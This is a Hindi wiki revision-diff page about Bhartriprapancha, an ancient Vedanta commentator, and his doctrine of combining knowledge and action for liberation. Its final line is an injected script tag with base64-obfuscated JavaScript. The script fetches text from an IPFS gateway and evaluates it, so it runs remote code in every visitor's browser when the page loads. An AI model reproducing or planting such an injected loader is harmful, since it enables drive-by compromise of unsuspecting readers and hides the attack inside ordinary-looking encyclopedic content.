भर्तु प्रपंच: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
No edit summary
No edit summary
 
Line 1: Line 1:
'''भर्तु प्रपंच''' [[वेदांत]] के एक भेदाभेदवादी प्राचीन व्याख्याता थे। इन्होंने [[कठोपनिषद|कठ]] और [[बृहदारण्यक]] [[उपनिषद|उपनिषदों]] पर भी भाष्य रचना की थी।  
'''भर्तु प्रपंच''' [[वेदांत]] के एक भेदाभेदवादी प्राचीन व्याख्याता थे। इन्होंने [[कठोपनिषद|कठ]] और [[बृहदारण्यक]] [[उपनिषद|उपनिषदों]] पर भी भाष्य रचना की थी। भर्तुप्रपंच का सिद्धान्त ज्ञान-कर्म-समुच्चयवाद था।  
*भर्तुप्रपंच का सिद्धान्त ज्ञान-कर्म-समुच्चयवाद था।  


*दार्शनिक दृष्टि से इनका मत द्वैताद्वैत, [[भेदाभेद]], अनेकान्त आदि अनेक नामों से प्रसिद्ध था।  
*दार्शनिक दृष्टि से इनका मत [[द्वैताद्वैतवाद|द्वैताद्वैत]], [[भेदाभेद]], अनेकान्त आदि अनेक नामों से प्रसिद्ध था। इसके अनुसार परमार्थ एक भी है और नाना भी; वह [[ब्रह्मा]] रूप एक है और जगद्रूप में नाना है। इसीलिए इस मत में एकान्तत: कर्म अथवा ज्ञान को स्वीकार न कर दोनों की सार्थकता मानी गई है।  
*इसके अनुसार परमार्थ एक भी है और नाना भी; वह [[ब्रह्मा]] रूप एक है और जगद्रूप में नाना है। इसीलिए इस मत में एकान्तत: कर्म अथवा ज्ञान को स्वीकार न कर दोनों की सार्थकता मानी गई है।  
*भर्तुप्रपंच प्रमाण समुच्चय वादी थे। इनके मत में लौकिक प्रमाण और गम्य भेद को और वेदगम्य अभेद को सत्य रूप में माना जाता है। इसी कारण इनके मत में जैसे केवल कर्म मोक्ष का साधन नहीं हो सकता, वैसे ही केवल ज्ञान भी मोक्ष का साधन नहीं हो सकता। [[मोक्ष]] प्राप्ति के लिए ज्ञान-कर्म-समुच्च ही प्रकृष्ट साधन है।
*भर्तुप्रपंच प्रमाण समुच्चय वादी थे।  
*इनके मत में लौकिक प्रमाण और गम्य भेद को और वेदगम्य अभेद को सत्य रूप में माना जाता है।  
*इसी कारण इनके मत में जैसे केवल कर्म मोक्ष का साधन नहीं हो सकता, वैसे ही केवल ज्ञान भी मोक्ष का साधन नहीं हो सकता।  
*मोक्ष प्राप्ति के लिए ज्ञान-कर्म-समुच्च ही प्रकृष्ट साधन है।




{{लेख प्रगति
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक=|पूर्णता=|शोध=}}
|आधार=
|प्रारम्भिक=प्रारम्भिक1
|माध्यमिक=
|पूर्णता=
|शोध=
}}
 
==टीका टिप्पणी और संदर्भ==
==टीका टिप्पणी और संदर्भ==
<references/>
<references/>
==संबंधित लेख==
==संबंधित लेख==
{{साहित्यकार}}
{{संस्कृत साहित्यकार}}{{साहित्यकार}}
[[Category:नया पन्ना]]
[[Category:लेखक]][[Category:साहित्यकार]][[Category:साहित्य कोश]]
[[Category:लेखक]]
[[Category:साहित्यकार]]
[[Category:साहित्य कोश]]
__INDEX__
__INDEX__

Latest revision as of 14:09, 6 July 2016

भर्तु प्रपंच वेदांत के एक भेदाभेदवादी प्राचीन व्याख्याता थे। इन्होंने कठ और बृहदारण्यक उपनिषदों पर भी भाष्य रचना की थी। भर्तुप्रपंच का सिद्धान्त ज्ञान-कर्म-समुच्चयवाद था।

  • दार्शनिक दृष्टि से इनका मत द्वैताद्वैत, भेदाभेद, अनेकान्त आदि अनेक नामों से प्रसिद्ध था। इसके अनुसार परमार्थ एक भी है और नाना भी; वह ब्रह्मा रूप एक है और जगद्रूप में नाना है। इसीलिए इस मत में एकान्तत: कर्म अथवा ज्ञान को स्वीकार न कर दोनों की सार्थकता मानी गई है।
  • भर्तुप्रपंच प्रमाण समुच्चय वादी थे। इनके मत में लौकिक प्रमाण और गम्य भेद को और वेदगम्य अभेद को सत्य रूप में माना जाता है। इसी कारण इनके मत में जैसे केवल कर्म मोक्ष का साधन नहीं हो सकता, वैसे ही केवल ज्ञान भी मोक्ष का साधन नहीं हो सकता। मोक्ष प्राप्ति के लिए ज्ञान-कर्म-समुच्च ही प्रकृष्ट साधन है।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>